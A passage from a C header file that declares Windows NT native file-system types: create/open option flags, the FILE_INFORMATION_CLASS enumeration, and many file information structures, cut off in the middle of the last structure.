flags\n\n\n// Define the create/open option flags\n#ifndef FILE_DIRECTORY_FILE\n#define FILE_DIRECTORY_FILE                     0x00000001\n#define FILE_WRITE_THROUGH                      0x00000002\n#define FILE_SEQUENTIAL_ONLY                    0x00000004\n#define FILE_NO_INTERMEDIATE_BUFFERING          0x00000008\n#define FILE_SYNCHRONOUS_IO_ALERT               0x00000010\n#define FILE_SYNCHRONOUS_IO_NONALERT            0x00000020\n#define FILE_NON_DIRECTORY_FILE                 0x00000040\n#define FILE_CREATE_TREE_CONNECTION             0x00000080\n#define FILE_COMPLETE_IF_OPLOCKED               0x00000100\n#define FILE_NO_EA_KNOWLEDGE                    0x00000200\n#define FILE_OPEN_FOR_RECOVERY                  0x00000400\n#define FILE_RANDOM_ACCESS                      0x00000800\n#define FILE_DELETE_ON_CLOSE                    0x00001000\n#define FILE_OPEN_BY_FILE_ID                    0x00002000\n#define FILE_OPEN_FOR_BACKUP_INTENT             0x00004000\n#define FILE_NO_COMPRESSION                     0x00008000\n#define FILE_OPEN_REQUIRING_OPLOCK              0x00010000\n#define FILE_DISALLOW_EXCLUSIVE                 0x00020000\n#define FILE_RESERVE_OPFILTER                   0x00100000\n#define FILE_OPEN_REPARSE_POINT                 0x00200000\n#define FILE_OPEN_NO_RECALL                     0x00400000\n#define FILE_OPEN_FOR_FREE_SPACE_QUERY          0x00800000\n#endif // FILE_DIRECTORY_FILE\n\n\n//\n// Define the I/O status information return values for NtCreateFile/NtOpenFile\n//\n\n#ifndef FILE_SUPERSEDED\n#define FILE_SUPERSEDED                 0x00000000\n#define FILE_OPENED                     0x00000001\n#define FILE_CREATED                    0x00000002\n#define FILE_OVERWRITTEN                0x00000003\n#define FILE_EXISTS                     0x00000004\n#define FILE_DOES_NOT_EXIST             0x00000005\n#endif\n\n#ifndef FILE_REMOVABLE_MEDIA\n#define FILE_REMOVABLE_MEDIA                    0x00000001\n#define FILE_READ_ONLY_DEVICE                   0x00000002\n#define FILE_FLOPPY_DISKETTE                    0x00000004\n#define FILE_WRITE_ONCE_MEDIA                   0x00000008\n#define FILE_REMOTE_DEVICE                      0x00000010\n#define FILE_DEVICE_IS_MOUNTED                  0x00000020\n#define FILE_VIRTUAL_VOLUME                     0x00000040\n#define FILE_AUTOGENERATED_DEVICE_NAME          0x00000080\n#define FILE_DEVICE_SECURE_OPEN                 0x00000100\n#define FILE_CHARACTERISTIC_PNP_DEVICE          0x00000800\n#define FILE_CHARACTERISTIC_TS_DEVICE           0x00001000\n#define FILE_CHARACTERISTIC_WEBDAV_DEVICE       0x00002000\n#endif\n\n#ifndef PIO_APC_ROUTINE_DEFINED\ntypedef\nVOID\n(NTAPI *PIO_APC_ROUTINE) (\n    IN PVOID ApcContext,\n    IN PIO_STATUS_BLOCK IoStatusBlock,\n    IN ULONG Reserved\n    );\n#define PIO_APC_ROUTINE_DEFINED\n#endif  // PIO_APC_ROUTINE_DEFINED\n\n\ntypedef enum _FILE_INFORMATION_CLASS\n{\n    FileDirectoryInformation                 = 1,\n    FileFullDirectoryInformation,            // 2\n    FileBothDirectoryInformation,            // 3\n    FileBasicInformation,                    // 4\n    FileStandardInformation,                 // 5\n    FileInternalInformation,                 // 6\n    FileEaInformation,                       // 7\n    FileAccessInformation,                   // 8\n    FileNameInformation,                     // 9\n    FileRenameInformation,                   // 10\n    FileLinkInformation,                     // 11\n    FileNamesInformation,                    // 12\n    FileDispositionInformation,              // 13\n    FilePositionInformation,                 // 14\n    FileFullEaInformation,                   // 15\n    FileModeInformation,                     // 16\n    FileAlignmentInformation,                // 17\n    FileAllInformation,                      // 18\n    FileAllocationInformation,               // 19\n    FileEndOfFileInformation,                // 20\n    FileAlternateNameInformation,            // 21\n    FileStreamInformation,                   // 22\n    FilePipeInformation,                     // 23\n    FilePipeLocalInformation,                // 24\n    FilePipeRemoteInformation,               // 25\n    FileMailslotQueryInformation,            // 26\n    FileMailslotSetInformation,              // 27\n    FileCompressionInformation,              // 28\n    FileObjectIdInformation,                 // 29\n    FileCompletionInformation,               // 30\n    FileMoveClusterInformation,              // 31\n    FileQuotaInformation,                    // 32\n    FileReparsePointInformation,             // 33\n    FileNetworkOpenInformation,              // 34\n    FileAttributeTagInformation,             // 35\n    FileTrackingInformation,                 // 36\n    FileIdBothDirectoryInformation,          // 37\n    FileIdFullDirectoryInformation,          // 38\n    FileValidDataLengthInformation,          // 39\n    FileShortNameInformation,                // 40\n    FileIoCompletionNotificationInformation, // 41\n    FileIoStatusBlockRangeInformation,       // 42\n    FileIoPriorityHintInformation,           // 43\n    FileSfioReserveInformation,              // 44\n    FileSfioVolumeInformation,               // 45\n    FileHardLinkInformation,                 // 46\n    FileProcessIdsUsingFileInformation,      // 47\n    FileNormalizedNameInformation,           // 48\n    FileNetworkPhysicalNameInformation,      // 49\n\n    // Windows 7+\n    FileIdGlobalTxDirectoryInformation,      // 50\n    FileIsRemoteDeviceInformation,           // 51\n    FileAttributeCacheInformation,           // 52\n    FileNumaNodeInformation,                 // 53\n    FileStandardLinkInformation,             // 54\n    FileRemoteProtocolInformation,           // 55\n\n    // Windows 8+\n    FileRenameInformationBypassAccessCheck,  // 56 (kernel-mode only)\n    FileLinkInformationBypassAccessCheck,    // 57 (kernel-mode only)\n    FileVolumeNameInformation,               // 58\n    FileIdInformation,                       // 59\n    FileIdExtdDirectoryInformation,          // 60\n\n    // WinBlue+\n    FileReplaceCompletionInformation,        // 61\n    FileHardLinkFullIdInformation,           // 62\n\n    // Windows 10 THRESHOLD+\n    FileIdExtdBothDirectoryInformation,      // 63\n    FileDispositionInformationEx,            // 64\n    FileRenameInformationEx,                 // 65\n    FileRenameInformationExBypassAccessCheck,// 66 (kernel-mode only)\n\n    // Windows 10 REDSTONE+\n    FileDesiredStorageClassInformation,      // 67\n    FileStatInformation,                     // 68\n    FileMemoryPartitionInformation,          // 69\n\n    // Windows 10 April 2018 Update+\n    FileStatLxInformation,                   // 70\n    FileCaseSensitiveInformation,            // 71\n\n    // Windows 10 Fall 2018 Update+\n    FileLinkInformationEx,                          // 72\n    FileLinkInformationExBypassAccessCheck,         // 73\n    FileStorageReserveIdInformation,                // 74\n    FileCaseSensitiveInformationForceAccessCheck,   // 75\n\n    FileMaximumInformation\n} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;\n\n\ntypedef struct _FILE_DIRECTORY_INFORMATION {\n    ULONG NextEntryOffset;\n    ULONG FileIndex;\n    LARGE_INTEGER CreationTime;\n    LARGE_INTEGER LastAccessTime;\n    LARGE_INTEGER LastWriteTime;\n    LARGE_INTEGER ChangeTime;\n    LARGE_INTEGER EndOfFile;\n    LARGE_INTEGER AllocationSize;\n    ULONG FileAttributes;\n    ULONG FileNameLength;\n    WCHAR FileName[1];\n} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;\n\n\ntypedef struct _FILE_FULL_DIR_INFORMATION {\n    ULONG NextEntryOffset;\n    ULONG FileIndex;\n    LARGE_INTEGER CreationTime;\n    LARGE_INTEGER LastAccessTime;\n    LARGE_INTEGER LastWriteTime;\n    LARGE_INTEGER ChangeTime;\n    LARGE_INTEGER EndOfFile;\n    LARGE_INTEGER AllocationSize;\n    ULONG FileAttributes;\n    ULONG FileNameLength;\n    ULONG EaSize;\n    WCHAR FileName[1];\n} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;\n\n\ntypedef struct _FILE_BOTH_DIR_INFORMATION {\n    ULONG NextEntryOffset;\n    ULONG FileIndex;\n    LARGE_INTEGER CreationTime;\n    LARGE_INTEGER LastAccessTime;\n    LARGE_INTEGER LastWriteTime;\n    LARGE_INTEGER ChangeTime;\n    LARGE_INTEGER EndOfFile;\n    LARGE_INTEGER AllocationSize;\n    ULONG FileAttributes;\n    ULONG FileNameLength;\n    ULONG EaSize;\n    CCHAR ShortNameLength;\n    WCHAR ShortName[12];\n    WCHAR FileName[1];\n} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;\n\n\ntypedef struct _FILE_BASIC_INFORMATION {\n    LARGE_INTEGER CreationTime;\n    LARGE_INTEGER LastAccessTime;\n    LARGE_INTEGER LastWriteTime;\n    LARGE_INTEGER ChangeTime;\n    ULONG FileAttributes;\n} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;\n\n\ntypedef struct _FILE_STANDARD_INFORMATION {\n    LARGE_INTEGER AllocationSize;\n    LARGE_INTEGER EndOfFile;\n    ULONG NumberOfLinks;\n    BOOLEAN DeletePending;\n    BOOLEAN Directory;\n} FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION;\n\n// Windows 10 THRESHOLD+\ntypedef struct _FILE_STANDARD_INFORMATION_EX {\n    LARGE_INTEGER AllocationSize;\n    LARGE_INTEGER EndOfFile;\n    ULONG NumberOfLinks;\n    BOOLEAN DeletePending;\n    BOOLEAN Directory;\n    BOOLEAN AlternateStream;\n    BOOLEAN MetadataAttribute;\n} FILE_STANDARD_INFORMATION_EX, *PFILE_STANDARD_INFORMATION_EX;\n\ntypedef struct _FILE_INTERNAL_INFORMATION {\n    LARGE_INTEGER IndexNumber;\n} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION;\n\n\ntypedef struct _FILE_EA_INFORMATION {\n    ULONG EaSize;\n} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION;\n\n\ntypedef struct _FILE_ACCESS_INFORMATION {\n    ACCESS_MASK AccessFlags;\n} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION;\n\n\ntypedef struct _FILE_NAME_INFORMATION {\n    ULONG FileNameLength;\n    WCHAR FileName[1];\n} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION;\n\n\ntypedef struct _FILE_RENAME_INFORMATION {\n    BOOLEAN ReplaceIfExists;\n    HANDLE RootDirectory;\n    ULONG FileNameLength;\n    WCHAR FileName[1];\n} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION;\n\n#define FILE_RENAME_REPLACE_IF_EXISTS              0x00000001\n#define FILE_RENAME_POSIX_SEMANTICS                0x00000002\n\n// Renamed from original FILE_RENAME_INFORMATION in RS1+\ntypedef struct _FILE_RENAME_INFORMATION_EX {\n    ULONG Flags;\n    HANDLE RootDirectory;\n    ULONG FileNameLength;\n    WCHAR FileName[1];\n} FILE_RENAME_INFORMATION_EX, *PFILE_RENAME_INFORMATION_EX;\n\ntypedef struct _FILE_NAMES_INFORMATION {\n    ULONG NextEntryOffset;\n    ULONG FileIndex;\n    ULONG FileNameLength;\n    WCHAR FileName[1];\n} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;\n\n\ntypedef struct _FILE_DISPOSITION_INFORMATION {\n    BOOLEAN DeleteFile;\n} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION;\n\n\ntypedef struct _FILE_POSITION_INFORMATION {\n    LARGE_INTEGER CurrentByteOffset;\n} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION;\n\n\ntypedef struct _FILE_FULL_EA_INFORMATION {\n    ULONG NextEntryOffset;\n    UCHAR Flags;\n    UCHAR EaNameLength;\n    USHORT EaValueLength;\n    CHAR EaName[1];\n} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;\n\n\ntypedef struct _FILE_MODE_INFORMATION {\n    ULONG Mode;\n} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION;\n\n\ntypedef struct _FILE_ALIGNMENT_INFORMATION {\n    ULONG AlignmentRequirement;\n} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION;\n\n\ntypedef struct _FILE_ALL_INFORMATION {\n    FILE_BASIC_INFORMATION BasicInformation;\n    FILE_STANDARD_INFORMATION StandardInformation;\n    FILE_INTERNAL_INFORMATION InternalInformation;\n    FILE_EA_INFORMATION EaInformation;\n    FILE_ACCESS_INFORMATION AccessInformation;\n    FILE_POSITION_INFORMATION PositionInformation;\n    FILE_MODE_INFORMATION ModeInformation;\n    FILE_ALIGNMENT_INFORMATION AlignmentInformation;\n    FILE_NAME_INFORMATION NameInformation;\n} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION;\n\n\ntypedef struct _FILE_ALLOCATION_INFORMATION {\n    LARGE_INTEGER AllocationSize;\n} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION;\n\n\ntypedef struct _FILE_END_OF_FILE_INFORMATION {\n    LARGE_INTEGER EndOfFile;\n} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION;\n\n\ntypedef struct _FILE_STREAM_INFORMATION {\n    ULONG NextEntryOffset;\n    ULONG StreamNameLength;\n    LARGE_INTEGER StreamSize;\n    LARGE_INTEGER StreamAllocationSize;\n    WCHAR StreamName[1];\n} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION;\n\ntypedef struct _FILE_PIPE_INFORMATION {\n     ULONG ReadMode;\n     ULONG CompletionMode;\n} FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION;\n\n\ntypedef struct _FILE_PIPE_LOCAL_INFORMATION {\n     ULONG NamedPipeType;\n     ULONG NamedPipeConfiguration;\n     ULONG MaximumInstances;\n     ULONG CurrentInstances;\n     ULONG InboundQuota;\n     ULONG ReadDataAvailable;\n     ULONG OutboundQuota;\n     ULONG WriteQuotaAvailable;\n     ULONG NamedPipeState;\n     ULONG NamedPipeEnd;\n} FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION;\n\n\ntypedef struct _FILE_PIPE_REMOTE_INFORMATION {\n     LARGE_INTEGER CollectDataTime;\n     ULONG MaximumCollectionCount;\n} FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION;\n\n\ntypedef struct _FILE_MAILSLOT_QUERY_INFORMATION {\n    ULONG MaximumMessageSize;\n    ULONG MailslotQuota;\n    ULONG NextMessageSize;\n    ULONG MessagesAvailable;\n    LARGE_INTEGER ReadTimeout;\n} FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION;\n\n\ntypedef struct _FILE_MAILSLOT_SET_INFORMATION {\n    PLARGE_INTEGER ReadTimeout;\n} FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION;\n\n\ntypedef struct _FILE_COMPRESSION_INFORMATION {\n    LARGE_INTEGER CompressedFileSize;\n    USHORT CompressionFormat;\n    UCHAR CompressionUnitShift;\n    UCHAR ChunkShift;\n    UCHAR ClusterShift;\n    UCHAR Reserved[3];\n} FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION;\n\n\ntypedef struct _FILE_LINK_INFORMATION {\n    BOOLEAN ReplaceIfExists;\n    HANDLE RootDirectory;\n    ULONG FileNameLength;\n    WCHAR FileName[1];\n} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION;\n\n#define FILE_LINK_REPLACE_IF_EXISTS                     0x00000001      // If a file with the given name already exists, it should be replaced with the new link. Equivalent to the ReplaceIfExists field used with the FileLinkInformation information class.\n#define FILE_LINK_POSIX_SEMANTICS                       0x00000002      // If FILE_LINK_REPLACE_IF_EXISTS is also specified, allow replacing a file even if there are existing handles to it. Existing handles to the replaced file continue to be valid for operations such as read and write. Any subsequent opens of the target name will open the new link, not the replaced file.\n#define FILE_LINK_SUPPRESS_STORAGE_RESERVE_INHERITANCE  0x00000008      // When creating a link in a new directory, suppress any inheritance rules related to the storage reserve ID property of the file.\n#define FILE_LINK_NO_INCREASE_AVAILABLE_SPACE           0x00000010      // If FILE_LINK_SUPPRESS_STORAGE_RESERVE_INHERITANCE is not also specified, when creating a link in a new directory, automatically resize affected storage reserve areas to prevent the user visible free space on the volume from increasing. Requires manage volume access.\n#define FILE_LINK_NO_DECREASE_AVAILABLE_SPACE           0x00000020      // If FILE_LINK_SUPPRESS_STORAGE_RESERVE_INHERITANCE is not also specified, when creating a link in a new directory, automatically resize affected storage reserve areas to prevent the user visible free space on the volume from decreasing. Requires manage volume access.\n#define FILE_LINK_PRESERVE_AVAILABLE_SPACE              0x00000030      // Equivalent to specifying both FILE_LINK_NO_INCREASE_AVAILABLE_SPACE and FILE_LINK_NO_DECREASE_AVAILABLE_SPACE.\n#define FILE_LINK_IGNORE_READONLY_ATTRIBUTE             0x00000040\n\n// Renamed from original FILE_LINK_INFORMATION in RS5+\ntypedef struct _FILE_LINK_INFORMATION_EX {\n    ULONG Flags;              // FileLinkInformationEx\n    HANDLE RootDirectory;\n    ULONG FileNameLength;\n    WCHAR FileName[1];\n} FILE_LINK_INFORMATION_EX, *PFILE_LINK_INFORMATION_EX;\n\n\ntypedef struct _FILE_OBJECTID_INFORMATION\n{\n    LONGLONG FileReference;\n    UCHAR ObjectId[16];\n    union {\n        struct {\n            UCHAR BirthVolumeId[16];\n            UCHAR BirthObjectId[16];\n            UCHAR DomainId[16];\n        } ;\n        UCHAR ExtendedInfo[48];\n    };\n} FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION;\n\n\ntypedef struct _FILE_COMPLETION_INFORMATION {\n    HANDLE Port;\n    PVOID Key;\n} FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION;\n\n\ntypedef struct _FILE_MOVE_CLUSTER_INFORMATION {\n    ULONG ClusterCount;\n    HANDLE RootDirectory;\n    ULONG FileNameLength;\n    WCHAR FileName[1];\n} FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION;\n\n\ntypedef struct _FILE_NETWORK_OPEN_INFORMATION {\n    LARGE_INTEGER CreationTime;\n    LARGE_INTEGER LastAccessTime;\n    LARGE_INTEGER LastWriteTime;\n    LARGE_INTEGER ChangeTime;\n    LARGE_INTEGER AllocationSize;\n    LARGE_INTEGER EndOfFile;\n    ULONG FileAttributes;\n} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION;\n\n\ntypedef struct _FILE_ATTRIBUTE_TAG_INFORMATION {\n    ULONG FileAttributes;\n    ULONG ReparseTag;\n} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION;\n\n\ntypedef struct _FILE_TRACKING_INFORMATION {\n    HANDLE DestinationFile;\n    ULONG ObjectInformationLength;\n    CHAR ObjectInformation[1];\n} FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION;\n\n\ntypedef struct _FILE_REPARSE_POINT_INFORMATION {\n    LONGLONG FileReference;\n    ULONG Tag;\n} FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION;\n\n\ntypedef struct _FILE_QUOTA_INFORMATION {\n    ULONG NextEntryOffset;\n    ULONG SidLength;\n    LARGE_INTEGER ChangeTime;\n    LARGE_INTEGER QuotaUsed;\n    LARGE_INTEGER QuotaThreshold;\n    LARGE_INTEGER QuotaLimit;\n    SID Sid;\n} FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION;\n\n\ntypedef struct _FILE_ID_BOTH_DIR_INFORMATION {\n    ULONG NextEntryOffset;\n    ULONG FileIndex;\n    LARGE_INTEGER CreationTime;\n    LARGE_INTEGER LastAccessTime;\n    LARGE_INTEGER LastWriteTime;\n    LARGE_INTEGER ChangeTime;\n    LARGE_INTEGER EndOfFile;\n    LARGE_INTEGER AllocationSize;\n    ULONG FileAttributes;\n    ULONG FileNameLength;\n    ULONG EaSize;\n    CCHAR ShortNameLength;\n    WCHAR ShortName[12];\n    LARGE_INTEGER FileId;\n    WCHAR FileName[1];\n} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;\n\n\ntypedef struct _FILE_ID_FULL_DIR_INFORMATION {\n    ULONG NextEntryOffset;\n    ULONG FileIndex;\n    LARGE_INTEGER CreationTime;\n    LARGE_INTEGER LastAccessTime;\n    LARGE_INTEGER LastWriteTime;\n    LARGE_INTEGER ChangeTime;\n    LARGE_INTEGER EndOfFile;\n    LARGE_INTEGER AllocationSize;\n    ULONG FileAttributes;\n    ULONG FileNameLength;\n    ULONG EaSize;\n    LARGE_INTEGER FileId;\n    WCHAR FileName[1];\n} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;\n\n\ntypedef struct _FILE_VALID_DATA_LENGTH_INFORMATION {\n    LARGE_INTEGER ValidDataLength;\n} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION;\n\n//\n// Don't queue an entry to an associated completion port if returning success\n// synchronously.\n//\n#define FILE_SKIP_COMPLETION_PORT_ON_SUCCESS    0x1\n\n//\n// Don't set the file handle event on IO completion.\n//\n#define FILE_SKIP_SET_EVENT_ON_HANDLE           0x2\n\n//\n// Don't set user supplied event on successful fast-path IO completion.\n//\n#define FILE_SKIP_SET_USER_EVENT_ON_FAST_IO     0x4\n\ntypedef  struct _FILE_IO_COMPLETION_NOTIFICATION_INFORMATION {\n    ULONG Flags;\n} FILE_IO_COMPLETION_NOTIFICATION_INFORMATION, *PFILE_IO_COMPLETION_NOTIFICATION_INFORMATION;\n\n\ntypedef  struct _FILE_PROCESS_IDS_USING_FILE_INFORMATION {\n    ULONG NumberOfProcessIdsInList;\n    ULONG_PTR ProcessIdList[1];\n} FILE_PROCESS_IDS_USING_FILE_INFORMATION, *PFILE_PROCESS_IDS_USING_FILE_INFORMATION;\n\n\ntypedef struct _FILE_IOSTATUSBLOCK_RANGE_INFORMATION {\n    PUCHAR       IoStatusBlockRange;\n    ULONG        Length;\n} FILE_IOSTATUSBLOCK_RANGE_INFORMATION, *PFILE_IOSTATUSBLOCK_RANGE_INFORMATION;\n\n\ntypedef enum _IO_PRIORITY_HINT {\n    IoPriorityVeryLow = 0,    // Winfs promotion, defragging, content indexing and other background I/Os\n    IoPriorityLow,            // Prefetching for applications.\n    IoPriorityNormal,         // Normal I/Os\n    IoPriorityHigh,           // Used by filesystems for checkpoint I/O\n    IoPriorityCritical,       // Used by memory manager. Not available for applications.\n    MaxIoPriorityTypes\n} IO_PRIORITY_HINT;\n\n\ntypedef struct _FILE_IO_PRIORITY_HINT_INFORMATION {\n    IO_PRIORITY_HINT   PriorityHint;\n} FILE_IO_PRIORITY_HINT_INFORMATION, *PFILE_IO_PRIORITY_HINT_INFORMATION;\n\n\n//\n// Support to reserve bandwidth for a file handle.\n//\n\ntypedef struct _FILE_SFIO_RESERVE_INFORMATION {\n    ULONG RequestsPerPeriod;\n    ULONG Period;\n    BOOLEAN RetryFailures;\n    BOOLEAN Discardable;\n    ULONG RequestSize;\n    ULONG NumOutstandingRequests;\n} FILE_SFIO_RESERVE_INFORMATION, *PFILE_SFIO_RESERVE_INFORMATION;\n\n//\n// Support to query bandwidth properties of a volume.\n//\n\ntypedef struct _FILE_SFIO_VOLUME_INFORMATION {\n    ULONG MaximumRequestsPerPeriod;\n    ULONG MinimumPeriod;\n    ULONG MinimumTransferSize;\n} FILE_SFIO_VOLUME_INFORMATION, *PFILE_SFIO_VOLUME_INFORMATION;\n\n\ntypedef struct _FILE_LINK_ENTRY_INFORMATION {\n    ULONG NextEntryOffset;\n    LONGLONG ParentFileId;\n    ULONG FileNameLength;\n    WCHAR FileName[1];\n} FILE_LINK_ENTRY_INFORMATION, *PFILE_LINK_ENTRY_INFORMATION;\n\n\ntypedef struct _FILE_LINKS_INFORMATION\n{\n    ULONG BytesNeeded;\n    ULONG EntriesReturned;\n    FILE_LINK_ENTRY_INFORMATION Entry;\n} FILE_LINKS_INFORMATION, *PFILE_LINKS_INFORMATION;\n\n#ifndef WINAPI_FAMILY_PC_APP    // In newer SDKs only\ntypedef struct _FILE_ID_128\n{\n    BYTE Identifier[16];\n} FILE_ID_128, *PFILE_ID_128;\n#endif\n\ntypedef struct _FILE_LINK_ENTRY_FULL_ID_INFORMATION\n{\n    ULONG NextEntryOffset;\n    FILE_ID_128 ParentFileId;\n    ULONG FileNameLength;\n    WCHAR FileName[1];\n} FILE_LINK_ENTRY_FULL_ID_INFORMATION, *PFILE_LINK_ENTRY_FULL_ID_INFORMATION;\n\ntypedef struct _FILE_ID_GLOBAL_TX_DIR_INFORMATION\n{\n  ULONG          NextEntryOffset;\n  ULONG          FileIndex;\n  LARGE_INTEGER  CreationTime;\n  LARGE_INTEGER  LastAccessTime;\n  LARGE_INTEGER  LastWriteTime;\n  LARGE_INTEGER  ChangeTime;\n  LARGE_INTEGER  EndOfFile;\n  LARGE_INTEGER  AllocationSize;\n  ULONG          FileAttributes;\n  ULONG          FileNameLength;\n  LARGE_INTEGER  FileId;\n  GUID           LockingTransactionId;\n  ULONG          TxInfoFlags;\n  WCHAR          FileName[1];\n} FILE_ID_GLOBAL_TX_DIR_INFORMATION, *PFILE_ID_GLOBAL_TX_DIR_INFORMATION;\n\n\ntypedef struct _FILE_IS_REMOTE_DEVICE_INFORMATION\n{\n    BOOLEAN IsRemote;\n} FILE_IS_REMOTE_DEVICE_INFORMATION, *PFILE_IS_REMOTE_DEVICE_INFORMATION;\n\ntypedef struct _FILE_NUMA_NODE_INFORMATION {\n    USHORT NodeNumber;\n} FILE_NUMA_NODE_INFORMATION, *PFILE_NUMA_NODE_INFORMATION;\n\ntypedef struct _FILE_STANDARD_LINK_INFORMATION\n{\n    ULONG NumberOfAccessibleLinks;\n    ULONG TotalNumberOfLinks;\n    BOOLEAN DeletePending;\n    BOOLEAN Directory;\n} FILE_STANDARD_LINK_INFORMATION, *PFILE_STANDARD_LINK_INFORMATION;\n\ntypedef struct _FILE_VOLUME_NAME_INFORMATION\n{\n    ULONG DeviceNameLength;\n    WCHAR DeviceName[1];\n} FILE_VOLUME_NAME_INFORMATION, *PFILE_VOLUME_NAME_INFORMATION;\n\ntypedef struct _FILE_ID_INFORMATION\n{\n    ULONGLONG VolumeSerialNumber;\n    FILE_ID_128 FileId;\n} FILE_ID_INFORMATION, *PFILE_ID_INFORMATION;\n\ntypedef struct _FILE_ID_EXTD_DIR_INFORMATION\n{\n    ULONG NextEntryOffset;\n    ULONG FileIndex;\n    LARGE_INTEGER CreationTime;\n    LARGE_INTEGER LastAccessTime;\n    LARGE_INTEGER LastWriteTime;\n    LARGE_INTEGER ChangeTime;\n    LARGE_INTEGER EndOfFile;\n    LARGE_INTEGER AllocationSize;\n    ULONG FileAttributes;\n    ULONG FileNameLength;\n    ULONG EaSize;\n    ULONG ReparsePointTag;\n    FILE_ID_128 FileId;\n    WCHAR FileName[1];\n} FILE_ID_EXTD_DIR_INFORMATION, *PFILE_ID_EXTD_DIR_INFORMATION;\n\ntypedef struct _FILE_ID_EXTD_BOTH_DIR_INFORMATION\n{\n    ULONG NextEntryOffset;\n    ULONG FileIndex;\n    LARGE_INTEGER CreationTime;\n    LARGE_INTEGER LastAccessTime;\n    LARGE_INTEGER LastWriteTime;\n    LARGE_INTEGER ChangeTime;\n    LARGE_INTEGER EndOfFile;\n    LARGE_INTEGER AllocationSize;\n    ULONG FileAttributes;\n    ULONG FileNameLength;\n    ULONG EaSize;\n    ULONG ReparsePointTag;\n    FILE_ID_128 FileId;\n    CCHAR ShortNameLength;\n    WCHAR ShortName[12];\n    WCHAR FileName[1];\n} FILE_ID_EXTD_BOTH_DIR_INFORMATION, *PFILE_ID_EXTD_BOTH_DIR_INFORMATION;\n\n#define FILE_DISPOSITION_DO_NOT_DELETE              0x00000000\n#define FILE_DISPOSITION_DELETE                     0x00000001\n#define FILE_DISPOSITION_POSIX_SEMANTICS            0x00000002\n#define FILE_DISPOSITION_FORCE_IMAGE_SECTION_CHECK  0x00000004\n#define FILE_DISPOSITION_ON_CLOSE                   0x00000008\n\ntypedef struct _FILE_DISPOSITION_INFORMATION_EX\n{\n    ULONG Flags;\n} FILE_DISPOSITION_INFORMATION_EX, *PFILE_DISPOSITION_INFORMATION_EX;\n\n#ifndef FILE_STORAGE_TIER_FLAG_SMR\ntypedef enum _FILE_STORAGE_TIER_CLASS {\n\n    FileStorageTierClassUnspecified = 0,\n    FileStorageTierClassCapacity,\n    FileStorageTierClassPerformance,\n    FileStorageTierClassMax\n\n} FILE_STORAGE_TIER_CLASS, *PFILE_STORAGE_TIER_CLASS;\n\ntypedef struct _FILE_DESIRED_STORAGE_CLASS_INFORMATION\n{\n    FILE_STORAGE_TIER_CLASS Class;      // Class type of the tier\n    ULONG Flags;                        // Flags\n\n} FILE_DESIRED_STORAGE_CLASS_INFORMATION, *PFILE_DESIRED_STORAGE_CLASS_INFORMATION;\n#endif\n\ntypedef struct _FILE_STAT_INFORMATION\n{\n    LARGE_INTEGER FileId;\n    LARGE_INTEGER CreationTime;\n    LARGE_INTEGER LastAccessTime;\n    LARGE_INTEGER LastWriteTime;\n    LARGE_INTEGER ChangeTime;\n    LARGE_INTEGER AllocationSize;\n    LARGE_INTEGER EndOfFile;\n    ULONG FileAttributes;\n    ULONG ReparseTag;\n    ULONG NumberOfLinks;\n    ULONG EffectiveAccess;\n} FILE_STAT_INFORMATION, *PFILE_STAT_INFORMATION;\n\ntypedef struct _FILE_MEMORY_PARTITION_INFORMATION\n{\n    ULONG_PTR OwnerPartitionHandle;\n    union {\n        struct {\n            UCHAR NoCrossPartitionAccess;\n            UCHAR Spare[3];\n        } DUMMYSTRUCTNAME;\n\n        ULONG AllFlags;\n    } Flags;\n} FILE_MEMORY_PARTITION_INFORMATION, *PFILE_MEMORY_PARTITION_INFORMATION;\n\ntypedef struct _FILE_STAT_LX_INFORMATION {\n    LARGE_INTEGER FileId;\n    LARGE_INTEGER CreationTime;\n    LARGE_INTEGER LastAccessTime;\n    LARGE_INTEGER LastWriteTime;\n    